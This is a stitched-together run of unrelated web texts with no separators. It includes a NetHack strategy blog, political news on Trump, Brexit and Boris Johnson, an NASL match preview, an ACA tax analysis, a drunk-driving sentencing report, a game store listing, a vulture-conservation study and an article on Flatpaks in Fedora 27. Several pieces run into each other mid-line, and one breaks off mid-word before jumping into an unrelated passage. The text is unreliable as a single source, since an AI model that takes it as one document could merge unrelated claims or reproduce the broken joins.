Even then, it’s been a slow process of learning the game for myself, full of death and failure. The key is to take the failures in stride and focus on the learning. Every death, no matter how apparently random or pointless, has a lesson in it. Fell into a spiked pit trap and died of poison? Look up what floor those traps begin to appear on, and learn not to move around there without searching–at least until you have poison resistance. Crashed into a floating eye and found yourself paralyzed while a lowly newt nibbles you to death? Bone up on the less hazardous movement commands. Blasted by an irate shopkeeper after kicking down his door? When the floor has shop signs, kick a bit more carefully.
While NetHack can be a stern and unforgiving teacher, it makes up for that by being an ultimately very fair game. As frustrating as it may be to die in a seemingly innocuous situation, it’s equally possible to survive something very deadly indeed, so long as you keep your wits about you and exploit every advantage the game offers. Case in point: my recent encounter with an arch-lich in Minetown.
Minetown is one of the dungeon’s earlier floors, whereas an arch-lich is one of the hardest non-unique enemies in the game. So when I found one—and, miraculously, survived—my first step was to stop and figure out exactly how it had gotten here. A friend and the wiki both told me that arch-liches simply don’t randomly spawn on such an early floor, so we wondered if it could have been created by a hostile creature using a wand or scroll of create monster. The message log told us that wasn’t the case, so we decided it must be a chameleon doing an extremely unfortunate impersonation.
The game plan from there was to figure out a way to survive one or two turns, at which point the chameleon would change form again. Engraving “Elbereth” on the floor would cause the arch-lich to flee, but the first step before that was to pray to Tyr, my Lawful Valkyrie’s god. Doing so restored my health to full and prevented the arch-lich from attacking during that turn. Once that was taken care of, I searched my inventory. I had several unidentified potions, none of which would likely be useful even if I knew what they did, and three unidentified scrolls, which might be—but all three were cursed, and not safe to read blindly. I also had a few wands, but none that I had identified as being helpful in this situation. Writing Elbereth in the dust with my fingers took a hairy couple of turns, during which the arch-lich summoned an ettin to make things even worse. But at last I finished engraving the holy word, both monsters turned to flee, and the “arch-lich” finally turned into a more manageable form. I handily slew the chameleon in the next turn, blasted the ettin a couple times with my wand of magic missile, and ran the hell out of Minetown while the getting was good.
It was the perfect example of a situation that my Valkyrie’s standard tools, her body armor and Excalibur, couldn’t help me survive. The faux arch-lich hit hard enough and moved fast enough that either running away or engaging itwould have left me a smear on the Minetown pavement. It was only careful consideration and exploitation of all my available options that got me out of the jam alive. Had I tried to bull my way through the encounter the way friendlier games had taught me I could, I’d never have made it.
It’s important to note that freely engraving Elbereth to send dangerous enemies packing may seem like cheating, but it isn’t. Neither is using the #name command to identify objects or creatures, killing priests and taking back your donations, or directing your pets to steal from shops. All of these actions are part of the game as written, rather than exploitative bugs or cowardly savescumming. One of the most important things NetHack teaches a player with bad habits is how to play to win.
I haven’t ascended a character in NetHack yet, but I’ll get there. Maybe it’ll be this very run, which developed quite promisingly after the disastrous Minetown incident. Or maybe, drunk on great gear and abilities, I’ll get overconfident again and revert to my old bad habits—which NetHack will be sure to punish swiftly. Whichever it may be, I’m confident that by the time I do make it to that final altar, Amulet in hand, I’ll be a better player of not just NetHack, but of games in general. The lessons it teaches in assessing problems and identifying solutions is applicable to any title with a broad enough range of actions. So do yourself a favor, download NetHack, and get an education in making the most of the tools at hand. Tell the cockatrices I sent you.
Image credit: Zodar
Share and EnjoyGETTY Donald Trump tells UK to ditch the European Union
Trump, who has now become the Republican party's presumptive nominee for the White House, called on British voters to sever ties with the bloc on June 23. The US Presidential hopeful also blamed the migration crisis on the EU and said the situation has been a "horrible thing for Europe".
GETTY The businessman said Britain is 'better off without' the EU
I think the migration has been a horrible thing for Europe, a lot of that was pushed by the EU Donald Trump
He said: "I think the migration has been a horrible thing for Europe, a lot of that was pushed by the EU. "I would say they are better off without it, personally, but I'm not making that as a recommendation, just my feeling."
GETTY Mr Trump also blamed the migration crisis on the EU
Mr Trump's message comes after President Barack Obama visited Britain and gave his support for Britain to remain in the EU. The reality TV star added: "I know Great Britain very well, I know the country very well, I have a lot of investments there. "I would say that they are better off without it, but I want them to make their own decision."
Donald Trump's most bizarre and uncomfortably awkward quotes Tue, November 8, 2016 Donald Trump business mogul turned political candidate is well known for his off the wall and often offensive quotes; here are some of his most mind boggling quotes from over the years. Play slideshow AFP/Getty Images 1 of 31 A recording of Donald Trump emerged during his campaign of him boasting back in 2005 “I’m automatically attracted to beautiful — I just start kissing them. It’s like a magnet. Just kiss. I don’t even wait. And when you’re a star, they let you do it. You can do anything.” He then went on to say “Grab ’em by the pussy. You can do anything.”
The business tycoon has received credit from David Cameron for brushing aside his rivals to become the presumptive nominee for the Republican party. But the Prime Minister has been urged to apologise by the Trump camp for calling the 69-year-old's proposal for foreign Muslims to be temporarily banned from entering the US as "stupid, divisive and wrong". He said: "It is a matter for voters in the United States to decide who they choose as their next President.
GETTY David Cameron was asked by the Trump camp to apologise for criticising his policy on foreign MuslimsBritain's Foreign Secretary Boris Johnson speaks during a news briefing after a meeting with Ukraine's Foreign Minister Pavlo Klimkin and Poland's Foreign Minister Witold Waszczykowski in Kiev, Ukraine, March 1, 2017. REUTERS/Valentyn Ogirenko
LONDON (Reuters) - Britain’s foreign minister Boris Johnson will go to Moscow in the coming weeks to discuss the differences between the two countries over Syria and Ukraine, the Foreign Office said on Saturday, in the first such visit for five years.
Britain backed sanctions against Russia in response to its annexation of Crimea in 2014, and the countries have clashed on other issues, including Russia’s support for Syrian President Bashar al-Assad in the civil war in his country.
However, Johnson has accepted the invitation from counterpart Sergei Lavrov and the British government said that it was “clear that the UK will engage with Russia where it is in our national interest to do so”.
“Discussions will focus on the UK-Russia relationship and current international issues including Syria and Ukraine, where we continue to have significant differences,” a Foreign and Commonwealth spokeswoman said.
“This is not a return to business as usual and the Foreign Secretary will continue to be robust on those issues where we differ.”
As well as disagreement over Ukraine and Syria, Britain has accused Russia of hacking, with Britain’s defense minister saying that Russia “weaponises misinformation”.
The Kremlin calls the hacking allegations “baseless”.
The last UK foreign minister to visit Moscow was William Hague in 2012, the Foreign Office said, adding that details of the exact timing of Johnson’s trip would be confirmed in due course.Nintendo Co. is trying to modify its game consoles so customers can use smartphone applications on them as it searches for a way to return to profitability, company sources said.
The game console and software maker has offered professional-use conversion software to application developers so they can produce smartphone games that can be played on Wii U, a struggling home video game console that helped widen the firm’s operating loss in fiscal 2012.
Nintendo hopes smartphone software will help spur console sales, which will in turn lead to an increase in popular game titles for them, the sources said.
A lack of popular games to play on Nintendo consoles was one of the main reasons behind the company’s worse-than-expected console sales and group operating loss of ¥36.4 billion reported for the year ended in March. It was Nintendo’s second consecutive annual operating loss.
Nintendo will also focus on developing new software on its own, the sources said.
The company is slated to release a new title in the popular Pocket Monster series in October for the 3DS portable device, which is capable of showing 3-D images, while Nintendo President Satoru Iwata said it will roll out some new titles for the Wii U, which is equipped with a touch screen, from summer through next year.White House press secretary Sarah Sanders shredded Democratic California Rep. Ted Lieu on Tuesday after he used a false tweet from The Hill to accuse Sanders of lying.
The Hill’s tweet misrepresented a Sanders quote from her appearance Tuesday morning on “Fox & Friends.”
“Democrats shouldn’t need to be begged to be a part of cutting taxes for the American people,” Sanders stated. “They should’ve been begging and banging down the door of the building behind me to be part of this process and to be part of helping more Americans be more successful.”
The Hill twisted Sanders’ words, reading: “Huckabee Sanders: GOP ‘begged’ Dems to work on tax reform.” Only after clicking into the story did readers find out that The Hill’s tweet wasn’t accurate.
Lieu quoted the inaccurate tweet to attack Sanders, writing: “Dear @PressSec: You don’t serve in Congress. I do. And I can say with absolute certainty that you are lying.” Lieu’s tweet went viral and was retweeted 15,000 times.
Dear @PressSec: You don’t serve in Congress. I do. And I can say with absolute certainty that you are lying. https://t.co/PGGMhnRVzr — Ted Lieu (@tedlieu) December 19, 2017
“Dear @tedlieu – I don’t serve in Congress, but I can read. If you had read the story, not an incorrect tweet, you would see that what I said was Dems should be begging to help Americans keep more of their money. You should spend less time tweeting, more time doing your job,” Sanders responded.
Dear @tedlieu – I don’t serve in Congress, but I can read. If you had read the story, not an incorrect tweet, you would see that what I said was Dems should be begging to help Americans keep more of their money. You should spend less time tweeting, more time doing your job. https://t.co/jI3W2a0xaQ — Sarah Sanders (@PressSec) December 19, 2017
Lieu blamed The Hill for his errant tweet, which he later deleted.
“Dear @PressSec: If the Hill tweet was incorrect, then my tweet based on it would also be incorrect,” he tweeted in response. “Unlike the Trump Administration, I am confident enough to admit errors. Also, I dare you to give the same tweeting advice you gave me to your boss.”
Dear @PressSec: If the Hill tweet was incorrect, then my tweet based on it would also be incorrect. Unlike the Trump Administration, I am confident enough to admit errors. Also, I dare you to give the same tweeting advice you gave me to your boss. https://t.co/EpcCV4VIiM — Ted Lieu (@tedlieu) December 19, 2017
The Hill has since deleted the tweet but it can still be viewed in cached form.
This article has been updated to note that Lieu deleted his tweet.by JAKE NUTTING
NASL Beat Writer
The field for the NASL Spring title race could drastically shrink by the end of this weekend’s action.
All eyes will be on the Cosmos and Scorpions on Long Island Saturday night. If the Cosmos are able to continue their unbeaten run with a full three points, then San Antonio, Edmonton, Ottawa, Carolina, and Atlanta will all be eliminated from contention for the first available playoff spot of the season. With a win, the Cosmos would have 18 points – putting them at an unsurmountable lead over those competitors.
The other marquee match of the weekend will take place in Minnesota when Jacksonville Armada FC travels up North for the first time. Minnesota and Jacksonville are the only teams that control their own Spring destiny regardless of how the Cosmos perform. If either team wins their remaining Spring fixtures, they will surpass New York in the standing and clinch the Spring title. The high stakes and proficient attacks for both teams could mean an exciting show for neutral fans tuning in.
Ottawa Fury FC vs. Indy Eleven, Saturday 3 p.m. ET
Two of the most hard-pressed attacks in the league will kick off the weekend’s action on Saturday afternoon. Indy has netted only six goals so far this year while Ottawa have a league-worst four goal tally.
In hopes of spurring their offense, Indy signed 21-year-old forward Duke Lacroix. The University of Pennsylvania product participated in Indy’s preseason camp but elected to finish out his degree before signing his first professional contract.
Indy is also coming off its worst beating of the year, courtesy of Minnesota. To make matters worse, center back Greg Janicki is questionable for the match with a calf issue. Keeper Kristian Nicht, though, may finally see the field again after the club gave him an extra week to recover from his short foray into MLS with Montreal Impact.
New York Cosmos vs. San Antonio Scorpions, Saturday 7 p.m. ET
The Cosmos barley managed to remain unbeaten in the Spring in Carolina, with stoppage time heroics from Andres Flores and gaffes from the Railhawks back line being the only saving grace in a 2-2 draw.
New York returns home to attempt to further their Spring title race dominance against a suddenly streaking San Antonio Scorpions. After a dismal start to the season, the 2014 Soccer Bowl champions have won their last two matches. Last week’s 3-2 victory over Edmonton was likely their best performance of the year.
With NASL teams entering the US Open Cup next Wednesday, and the high priority that the Cosmos place on the competition, head coach Gio Savarese has some interesting decisions to make. Managing minutes for Raul and Marcos Senna – who left the Carolina match in the 10th minute with a tweaked hamstring – will be crucial. Next weekend’s match at Minnesota is possibly even more pivotal as the Loons still could surpass the Cosmos if they win out in the Spring.
Savarese and his players will likely be hoping to take an early lead over the Scorpions and bunker in to comfortably sail into next week’s fixtures. After conceding two goals in each of their last two matches, the normally resolute Cosmos back line will need to remain organized to squash the Scorpions lethal attackers Billy Forbes and Omar Cummings.
Fort Lauderdale Strikers vs. Carolina Railhawks, Saturday 7:30 p.m. ET
With a string of disappointing results in their most recent matches, both Carolina and Fort Lauderdale are looking to get back on track in the home stretch of the Spring season. Both teams sit with seven points, but Fort Lauderdale is in a much better position with a game in hand on Carolina.
After a stretch of impressive attacking results early on, the Strikers have been held scoreless in the last two outings. Last week’s effort in a 1-0 loss to the Rowdies was particularly uninspiring. Captain Leo Moura’s absence was felt in the midfield in that match and his status for Saturday’s match is listed as questionable.
Carolina’s spirits may be in doubt after letting the biggest upset of the season slip away last week when they conceded two stoppage time goals to the Cosmos and had to settle for a draw. The Railhawks have only been buoyed through an injury plagued Spring by Ty Shipalane. The winger has contributed to virtually every positive result the Railhawks have scraped together. After a poor effort defending the pace of the Rowdies last week by the Strikers back line, Shipalane could be in store for another strong showing.
Minnesota United FC vs. Jacksonville Armada FC, Saturday 8 p.m. ET
Minnesota and Jacksonville are two of the few teams that have been making positive moves up the points table in recent weeks. After an underwhelming start to the Spring, the Loons are currently on a four match unbeaten streak, including wins in their last two matches. Similarly, after letting a lead slip away against the Rowdies in week four, Jacksonville has gone on a three game unbeaten streak to rise up the ranks.
The match in Minnesota will be Jacksonville’s first away game outside the South. So far the Armada has only faced Atlanta, Tampa Bay, and Fort Lauderdale on the road. The expansion team is still in search of its first away win after a 1-1 draw in Atlanta last week.
With 10 goals scored, Jacksonville is the second highest scoring team in the league. They’ll have to breakdown a solid Minnesota defense that is averaging only goal allowed this year. Although, the veteran Loons back line could be in trouble with the far superior pace that Jacksonville fields every week with attackers like Jemal Johnson, Alhassane Keita, and Pascal Millien.
Minnesota had its best offensive output last week in a convincing 3-1 win over Indy, but must deal with midfielder Jamie Watson’s season-ending ACL tear. Miguel Ibarra and leading scorer Pablo Campos will need to shine again as they did in the Loons’ previous two home matches.
FC Edmonton vs. Atlanta Silverbacks, Sunday 4 p.m. ET
Sunday’s afternoon match up will be the Eddies third match in seven days and their sixth total in the month of May. Edmonton must bounce back quickly after Wednesday’s devastating stoppage time loss to the Vancouver Whitecaps in the semifinal round of the Amway Canadian Championship. Tired legs and deflated spirits will need to be overcome promptly as the Eddies are in desperate need of three points after two straight losses in league play.
With Atlanta coming to town, the Eddies are up against one of the stingiest defenses in the league. Silverbacks head coach Gary Smith will likely take a typically conservative approach in hopes of stunting Edmonton’s potent attackers Lance Laing and Tomi Ameobi.
While the defense has been stout for the Silverbacks, their offense has been less than stellar, scoring only five goals. However, they did get their first major contribution from high-profile offseason Hans Denissen last week. The forward netted his first goal in a Sliverbacks shirt in the opening minute of the 1-1 draw. The one constant for Edmonton this year has been conceding early goals, so Denissen and his teammates should be ready to pounce on any opening given to them early on in the match.The top 0.1 percent of households would receive roughly one-third of the net tax cuts. Republican plans to repeal the Affordable Care Act (ACA) would provide large, lopsided tax cuts to households with annual incomes over $1 million, just-released data from the Urban-Brookings Tax Policy Center (TPC) show. TPC also finds ACA repeal would significantly raise taxes on about 7 million low- and moderate-income families due to the loss of their premium tax credits to buy health coverage through the marketplace. These tax increases would compound the harm to low- and moderate-income families from repealing the ACA’s other coverage provisions — cost-sharing assistance and the Medicaid expansion — and would add tens of millions of people to the ranks of the uninsured.
TPC’s new estimates show that a repeal of the ACA tax provisions similar to the reconciliation measure that President Obama vetoed in January 2016 — which GOP leaders cite as the model for their forthcoming repeal bill — would be highly tilted to the most well-off people and do the following:[1]
Households with incomes above $1 million would receive tax cuts averaging $57,570 apiece in 2025, or more than the total annual income of any family in the bottom two-fifths of the population (all of whom will have incomes below $52,300 in 2025), according to TPC.
Millionaires would reap 53 percent of the net tax cuts (see Figure 1). This is more than double their share of the 2001 and 2003 tax cuts enacted under President Bush (ultimately equaling 23 percent) before policymakers scaled back those high-end tax cuts. [2]
Multi-millionaires would do even better. The top 0.1 percent of households — those with incomes over roughly $4.8 million in 2025 (and average incomes of $10.4 million) — would get tax cuts averaging $260,630 apiece that year, raising their after-tax incomes by 2.5 percent. In all, the top 0.1 percent of households would receive roughly one-third of the net tax cuts.
The bulk of the tax cuts for high-income filers would come from eliminating two ACA Medicare taxes on wealthy filers. Wealthy filers would no longer face Medicare taxes on most of their income — in sharp contrast to low- and moderate-income filers, who face Medicare taxes on all of their earnings. And the disparity between the top tax rates on income from earnings and income from wealth, which already favors income from wealth, would grow.
Steven Mnuchin, President-elect Trump’s pick for Treasury Secretary, recently said that under Trump’s tax plan, “there will be no absolute tax cut for the upper class.”[3] Repealing the ACA’s tax provisions would violate that rule, the TPC figures show. And previous TPC analyses have shown that other tax priorities that congressional Republicans and President-elect Trump share, such as slashing the top business and individual income tax rates and repealing the estate tax, would also produce large tax cuts for the upper class.
The TPC data also provide additional information on how repeal would affect low- and moderate-income families. The Urban Institute previously estimated that repeal would cause more than 9 million low- and moderate-income people to lose premium tax credits to buy marketplace coverage, many of whom wouldn’t be able to afford adequate health coverage and would end up uninsured. The new TPC estimates show that the loss of these credits would average $5,740 for the 7 million households that are affected in 2025.[4]
Further, the “repeal and delay” approach that the forthcoming ACA repeal legislation will likely reflect, which would eliminate the ACA coverage expansions effective in 2019, would cause several million low- and moderate-income households to lose coverage immediately. By eliminating the individual mandate and throwing the individual health insurance market into disarray, repeal would cause 4.3 million more people to become uninsured in 2017, a recent Urban Institute analysis estimates.[5] Repeal would also create uncertainty about future health security for tens of millions more. Altogether by 2019, repeal would leave nearly 30 million more Americans uninsured, more than doubling the number of uninsured under current law, the analysis found.
These consequences would reflect repeal both of the premium tax credits and of the ACA’s other coverage provisions. Republicans also plan to repeal the ACA’s cost-sharing subsidies, which help families with incomes between the poverty line and 250 percent of the poverty line receiving premium tax credits incur lower out-of-pocket health care expenses, and the ACA’s expansion of Medicaid to people with incomes up to 138 percent of the poverty line.
A spokesperson for Grover Norquist’s anti-tax group Americans for Tax Reform said of ACA repeal that, “on taxes, it’s all easy — it’s all dessert.”[6] That may be true for millionaires, who will garner tax huge tax cuts. But the loss of premium tax credits and other ACA provisions that help families afford adequate health coverage, as well as the uncertainty that repeal would create for millions of working families, is far from “dessert.”A new map shows that the United States could potentially generate 10 times as much energy from geothermal sources as it currently does from coal.
The map is a result of a three-year long study by the SMU Geothermal Laboratory, supported by Google's philanthropic wing, Google.org. The research, led by Dr. David Blackwell, looked at tens of thousands of different thermal data points across the country in order to create the most complete picture yet of the state of geothermal energy sources.
According to the study's findings, the US can potentially generate more than 2,980,295 megawatts from its geothermal resources, with the use of technology called Enhanced Geothermal Systems — which Google.org has invested more than $10 million in.
"We're excited that with improvements in EGS technology, all of these resources could one day be harnessed to provide clean, reliable, baseload power," Parag Chokshi, part of Google.org's clean energy team, wrote on the Google Green blog.
"Energy that's available every hour of every day."
You can explore the geothermal data in Google Earth.About This Game
Almost 17 years on, we bring you back the true Russian video game industry classics, remastered for modern platforms.The first part of this classical game series will be released on PC on February, 5th. The game saves the original graphics and voicing but the game code has been completely rewritten for Unity engine and it has widescreen support now. Any animation issues and old bugs have been fixed. Steam achievements and trading cards are also available. So from now on you can play in Red Comrades Save the Galaxy using any modern PC working on one of modern operating systems!About the game:Russia is in a midst of Civil War. Both the front line and Ural River splits the village Backwoods in two. One part of the village is somehow controlled by the brave Red Army division headed by Chapaev. Remnants of the cowardly Whites are still comfortably stationed on the other side.Vasily Ivanovich Chapaev and his fellow aide Petka wake up to find themselves in a bad hangover and in a worse mood. They realize that someone has stolen the Red banner from the HQ. Our heroes are totally depressed with such a misfortune, just like every decent Red army fighters should be.This unbearable offense leaves them no choice but to sneak into the enemy territory and to retrieve the precious banner.Although it's not the end of the story yet! Somewhere on the moon, legions of alien invaders prepare to conquer Earth. But could such a little thing really give a scare to the Red Army heroes?Game Features:• Incredibly lush new high-res hand-painted graphics!• Achievements!• The beginning of the epic and captivate adventures of beloved characters.• Breathtaking story• Enormous amount of puzzles to solve• Hilarious gagsAs a judge delivered a four-year prison sentence to the drunk driver who killed Const. Sarah Beckett on Friday, her grieving relatives shook and wept, before handing a letter to Crown counsel expressing their outrage.
Provincial court Judge Ronald Lamperson acknowledged the sentence would seem inadequate to the many people on Vancouver Island who have been touched by the "tragic case."
"Clearly there is no sentence I can impose that will bring Const. Beckett back or address the pain that her family and friends continue to suffer," Lamperson told a packed courtroom near Victoria.
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But he said he must be guided by prior decisions involving impaired driving causing death in sentencing Kenneth Fenton, 29, who has also been banned from driving or owning a weapon for 10 years.
Lamperson said to his knowledge, Beckett is the first police officer in B.C. to be killed by a drunk driver.
Beckett, a 32-year-old mother of two boys, had recently returned from maternity leave when she was killed in Langford, a suburb of Victoria, in April 2016.
Her husband, Brad Aschenbrenner, broke down in tears as the judge recounted the details of his wife's death.
The court heard that Fenton was upset about a friend's suicide and had been drinking heavily before he sped through a red light in his truck and slammed into Beckett's cruiser.
Another officer who had tried to stop Fenton's truck seconds earlier because his tail lights were out described the crash as an "explosion" with "glass and smoke and dust everywhere."
The judge said a man who spoke with Fenton at the scene said he appeared "dazed and confused" and asked how the Mountie was doing. When the man replied that he thought she was dead, Fenton slumped over and began to cry.
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Fenton was taken to hospital, where he refused to give a blood sample and denied he had been drinking or had an alcohol addiction. A search warrant was later obtained to seize blood samples, which showed.287 milligrams of alcohol in 100 millilitres of blood, more than three times the legal limit.
The court also heard Fenton had previous traffic convictions, including two 90-day driving bans for alcohol-related incidents in 2006 and 2010.
Fenton pleaded guilty in May to impaired driving causing death and dangerous driving causing death. He was handed a four-year and three-year term for each charge, respectively, and the judge ordered that the sentences be served concurrently.
Beckett's family was unhappy with the sentence and handed a statement to prosecutors criticizing their performance, said Crown counsel Chandra Fisher outside court. Fisher refused to show the statement to the media.
Alisia Adams of the B.C. Prosecution Service said counsel had regularly met with Beckett's family and heard their concerns.
"It's clear that the family and the friends and the colleagues of Const. Beckett have experienced a profound loss. We recognize their pain," she said.
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But she said Crown counsel have to look objectively at the evidence and what it can prove beyond a reasonable doubt.
The family did not speak to media, but Const. Alex Berube, a spokesman for West Shore RCMP and a friend of Beckett's, said the court process had been "very hard" for them.
"We're all human beings, even in the police force. It's a hard day," he said.
Aschenbrenner told Fenton's earlier sentencing hearing that he awoke at 3:30 a.m. on April 5, 2016, and knew something was wrong. Soon after, an officer knocked on his door to tell him his wife was dead.
He said he lost the love of his life and the mother of their young sons, Lucas and Emmett. The hardest thing after his wife's death was telling six-year-old Lucas "mommy wasn't coming home," Aschenbrenner said.
The judge also outlined some of the victim impact statements and letters from Fenton's family that described him as a kind and respectful man whose family has been attacked verbally since his arrest.
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Fenton apologized to Beckett's family in court last week and said he would trade places with her if he could.
B.C.'s prosecution service announced earlier this week that there was not enough evidence to approve charges against the officer who tried to stop Fenton's truck seconds before the fatal collision.
On Friday, the prosecution service said there was no evidence the officer was pursuing Fenton. As the truck accelerated away, the officer told dispatch he was "shutting it down" and reduced his speed seconds later.Apple CEO Tim Cook has posted a public letter to Apple's website in order to apologize for the backlash caused by iOS 6 Maps. In the letter, Cook writes that Apple "fell short on this commitment" to make the best products for its customers, suggesting that customers can use alternatives from the App Store like Bing, Mapquest, or Waze—or they can use the mobile websites for Google or Nokia.
Maps did not receive a glowing reception when iOS 6 was launched earlier this month. In our own review, we pointed out that the driving directions took us to incorrect places and we were very unhappy with the absence of built-in transit directions—despite alternatives being made by developers. Others have echoed these statements, and a mini-uproar (colloquially being referred to as "Mapgate") has begun among Apple-watchers and the general public alike.
Things have apparently gotten bad enough to spur Cook to write a Jobs-style public letter. Below is the full text of the letter, which once again promises that Apple is making improvements to the app."As our faith comes under fire – with today’s attack on religious liberty – we must remember that God uses fire to purify our faith. Fire draws a line in the sand: Are we in or out? With Him or against Him? There is no in between. We’ve heard some say, 'I’m just riding the fence, sitting quietly, waiting to see what happens.' To them we respond, 'The devil owns the fence. Choose which side you’re on, and jump to it. Besides, you can’t stand strong on top of a fence.' The Supreme Court’s ruling on gay'marriage' made it painfully obvious that religious liberties, especially for Christians, are now in the cross-hairs of the militant, secular agenda that is fundamentally changing our country. This means we need to get off the fence and stand up. We’ve got to decide beforehand, i.e., today, what we’re going to do when our faith is actually under fire." - Jason and David Benham, writing for
Labels: David Benham, Jason Benham, religion, SatanThe last time your doctor asked how much you exercise, did you tell the truth? Do you even really know the truth—not just how many visits to the gym you’ve made this month, but how many hours you sit or how many calories you burn in a day?
What if your doctor had already received the information from a tiny device built into your cell phone, wallet, or undershirt? Sonny Vu believes a device like this could fundamentally change health care. “You can’t just lie to your doctor—it’s all there, recorded,” he says. “You cut right to the chase rather than having to tease out all that information.”
Vu is an entrepreneur who thinks a lot about how a well-designed mobile device can affect health. As a cofounder of the medical-device company AgaMatrix, he created the first FDA-approved glucose sensor that plugs into an iPhone; it hit Apple stores this month under the brand name iBGStar.
Now Vu is taking his ideas a step further, betting that the next phase for mobile computing is on our bodies. He’s heading a new company called Misfit Wearables, which is developing health monitoring devices that he says will fit unob |
capture and tag the birds, which would provide invaluable data to help learn more valuable information about their foraging behavior, the zoologists said.
PhD Researcher in Zoology at Trinity, Adam Kane, is the lead author of the study, which has just been published online in the international, peer-reviewed journal Animal Conservation. He said: "It might sound funny to suggest dragging a huge carcass out into the field to feed these birds, but it's a similar idea to the one that sees us all fill our bird feeders with peanuts during the winter. These restaurants are already in use in South Africa where they are often used to monitor the health of the populations."
Because the breeding population in Swaziland comprises over 300 nesting pairs, it represents a key resource for conservationists. If the numbers continue to grow it is possible that some individuals will help boost populations in other countries that have been badly hit by the recent declines.
Vultures feed exclusively on carrion (they do not hunt live prey) but the availability of large animal carcasses, such as impala, wildebeest and zebra, is very unpredictable, which means the birds often fly long distances to find food. Furthermore, there are natural times of plenty and of scarcity owing to wet and dry seasons.
Outside of the breeding period, during the wet season, the birds have to fly into neighbouring countries to find enough to eat. This has worrying conservation implications because the vultures often stumble across poisoned food in unprotected regions.
Adam Kane added: "These birds can fly over 100 km in a single day, and may pass into neighbouring countries. This underscores the importance of having effective, coordinated conservation campaigns at an international level, because wild animals don't take heed of international borders."
The Trinity zoologists recently showed that vultures in other African countries rely on eagle-eyed birds of prey to find much of their food for them (see press release and accompanying video here). These birds of prey have keener eyesight, which helps them spot carrion from the skies, as well as sharper beaks, which can prep the food for vulture consumption. For this reason, the eagles act as unwitting waiters on the African plains.
Vultures play a key ecological role as recyclers of dead and decaying biomass and also provide an important service in reducing the risk of exposure to dangerous infectious diseases, such as anthrax.
Additionally, in the absence of vultures, feral and wild dogs that carry rabies can increase in number and pose a threat to humans, so it is vital that these birds are conserved - not only for their own sake, but also as providers of invaluable environmental services.
Explore further: Eagle-eyed birds of prey help scrounging vultures find their dinner
More information: Kane, A., Jackson, A. L., Monadjem, A., Colomer, M. A. and Margalida, A. (2014), "Carrion ecology modelling for vulture conservation: are vulture restaurants needed to sustain the densest breeding population of the African white-backed vulture?." Animal Conservation. doi: 10.1111/acv.12169Flatpaks for Fedora 27
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A proposal to add Flatpak as an option for distributing desktop applications in Fedora 27 has recently made an appearance. It is meant as an experiment of sorts to see how well Flatpak and RPM will play together—and to fix any problems found. There is a view that containers are the future, on the desktop as well as the server; Flatpaks would provide Fedora one possible path toward that future. The proposal sparked a huge thread on the Fedora devel mailing list; while the proposal itself doesn't really change much for those uninterested in Flatpaks, some are concerned with where Fedora packaging might be headed once the experiment ends.
Flatpak, which was originally known as xdg-app, is both a packaging format and a mechanism to sandbox applications that is inspired, to some extent, by container technologies (e.g. Docker). It is meant to make it easier for users to install applications by bundling any needed dependencies (beyond the standard Flatpak runtime bundle) into the package. Flatpak would make it easier to get the "latest and greatest" version of an application or to run multiple versions side by side. The sandboxing features are targeted at providing secure compartmentalization so the applications cannot interfere with each other—or escape their sandbox if they get compromised. The vision is that projects can create a single Flatpak that could be installed on multiple distributions.
The GNOME community has been instrumental in developing Flatpak and many Fedora team members have been involved as well—not surprising given the overlap between the GNOME and Fedora teams. Owen Taylor is the owner of the proposal "to enable package maintainers to build Flatpaks of their applications and make those Flatpaks available for installation". The plan is fleshed out further on a Fedora wiki page. The idea is to make it possible for package maintainers to process the standard Fedora RPMs for their packages into Flatpaks.
In order to do that, there are two pieces that need to be built: a runtime and an application. The runtime is a collection of common libraries that Flatpaks can depend on; there would be versions for each Fedora release, which could coexist on a given system. The application piece consists of the program of interest, and any additional libraries it needs, bundled up in the Flatpak-specific format (which may require rebuilding the application and libraries with different build options). The target of the Fedora proposal is Flatpaks for graphical applications, so the runtime would be filled with GNOME-specific libraries.
Proposal
In early July, Fedora program manager Jaroslav Reznik posted the feature proposal as part of the normal review process for Fedora 27 features. The first response, perhaps predictably, came from Kevin Kofler, who asked a number of important questions before concluding: "I strongly oppose this change." The proposal says that Flatpaks will be built from RPMs, but those will not be the standard Fedora RPMs for the packages, as they will need to be relocated into the filesystem hierarchy used by Flatpak. Kofler asked if only Flatpaks would be shipped for these packages or, if not, which RPMs would be available.
Taylor responded that the rebuilt RPMs are not really useful outside of the Flatpaks, though they could still be downloaded from Koji. The regular RPMs would be available along with the Flatpaks, he said. He described his vision of where this might all be leading, which is part of what caused a bit of an uproar in the Fedora world. That vision was not part of the proposal, but suggested that over the following two releases (i.e. Fedora 28 and 29), graphical applications would fully move into Flatpaks and that standard RPMs might be dropped for them. He concluded:
But this is really highly dependent on how modularity work happens more widely in Fedora. "standard RPM packaging" assumes we still have a F tag in Koji where everything is built together with common coordinated dependencies. The Change proposal, in any case is really only about enabling this as an something that packagers may opt into if they want to.
Kofler's second set of questions had to do with the advantages of shipping Flatpaks for Fedora. The existing RPM-based distribution is working and Flatpaks have only downsides, he said:
I see only drawbacks compared to RPM, because everything not included in the base runtime must be bundled, so we have all the usual issues of bundled libraries: larger downloads, more disk consumption, more RAM consumption (shared system libraries are also shared in RAM), slower and less efficient delivery of security fixes, FHS [Filesystem hierarchy standard] noncompliance, etc. And the portability argument is moot when we are talking about delivering Fedora software to Fedora users.
Taylor said that he believed the proposal itself answered that question in its "Benefit to Fedora" section, which lists several benefits. The main ones seem to be that it allows application maintainers to choose their dependencies separately from the versions in the Fedora release, it provides a way of testing different versions of applications, and that it can sandbox some applications. Bastien Nocera disagreed with Kofler's assessment; he dismissed the FHS compliance question and questioned the assertion of slower security fixes, while also listing his set of "positive changes".
Sandboxes
Kofler pointed out the problems he sees with rebuilding the libraries for the Flatpak layout; he also described ways that the process of updating Flatpaks will lead to slower security fixes. But a good chunk of his response concerned sandboxing; he is not convinced that the "Flatpak way" is the right way forward. Michael Catanzaro acknowledged many of Kofler's points, but was enthusiastic about the Flatpak sandboxing. But, as Andy Lutomirski noted, there are two elements to Flatpak that aren't necessarily tied:
Flatpak provides two things that are very nearly orthogonal: packaging and sandboxing. Packaging is the system of bundles, apps, runtimes, etc that allows you to build a Flatpak, send it to a different machine, and run it there, even if the other machine runs a different distro. Sandboxing is Flatpak's system of portals, confinement, etc. Aside from the fact that both are based on namespaces, I see no reason at all that they need to be conflated. It should be entirely possible for Flatpak [to] run an "app" that is actually a conventional RPM installed on the host system using host libraries.
